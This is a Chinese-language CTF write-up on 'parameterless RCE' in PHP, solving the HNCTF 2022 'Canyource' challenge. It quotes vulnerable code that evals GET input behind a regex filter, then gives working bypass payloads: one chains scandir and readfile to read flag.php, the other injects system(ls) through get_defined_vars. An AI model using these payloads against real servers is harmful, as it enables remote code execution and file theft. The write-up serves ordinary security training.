特征
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);}
使用该正则表达式时,每个函数调用都会被删除,只剩下一个分号 ;,而最终结果强等于;时,payload才能进行下一步。简而言之,无参数rce就是不使用参数,而只使用一个个函数最终达到目的。
例题:[HNCTF 2022 WEEK2]Canyource
<?php
highlight_file(__FILE__);
if(isset($_GET['code'])&&!preg_match('/url|show|high|na|info|dec|oct|pi|log|data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['code'])){
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);}
else
die('nonono');}
else
echo('please input code');
?>
if(isset($_GET['code'])&&!preg_match('/url|show|high|na|info|dec|oct|pi|log|data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['code'])
这里限制了phpinfo()、highlight_file、show_source函数使用不了。
方法一:scandir()
1.这里我们首先通过print_r(loccaleconv());可以看到 [decimal_point] => .
localeconv() – 函数返回一个包含本地数字及货币格式信息的数组 第一个是.
2. 利用current()将这个‘.’读取出来(current()-读取数组的第一个元素);‘.'代表着当前目录,相当于Linux中的ls命令
3.利用scandir()//(scandir()-扫描目录),scandir(.)将会返回当前目录的文件和子目录
能够得到flag就藏在flag.php文件中
4.flag.php的位置在后面,利用array_reverse()将数组内容倒转,从倒数第二的位置变成正数第二
5.接下来通过next(),将内部指针指向数组中的下一个元素,这样就能够指定flag.php文件了 6.最后用readfile()返回文件内容,得到flag了zuzu
最终payload:?code=readfile(next(array_reverse(scandir(pos(localeconv())))));// pos()和current()功能一样
方法二:get_defined_vars()
1.首先我们去判断是否有回显
它能够回显全局变量,顺序为$_GET、$_POST、$_COOKIE、$_FILES
2.假如说原本只有一个参数,那么可以多加一个参数,后面去写入恶意语句,
payload:?code=eval(end(pos(get_defined_vars())));&a=system(ls);
另还有多种解法,大家积极探索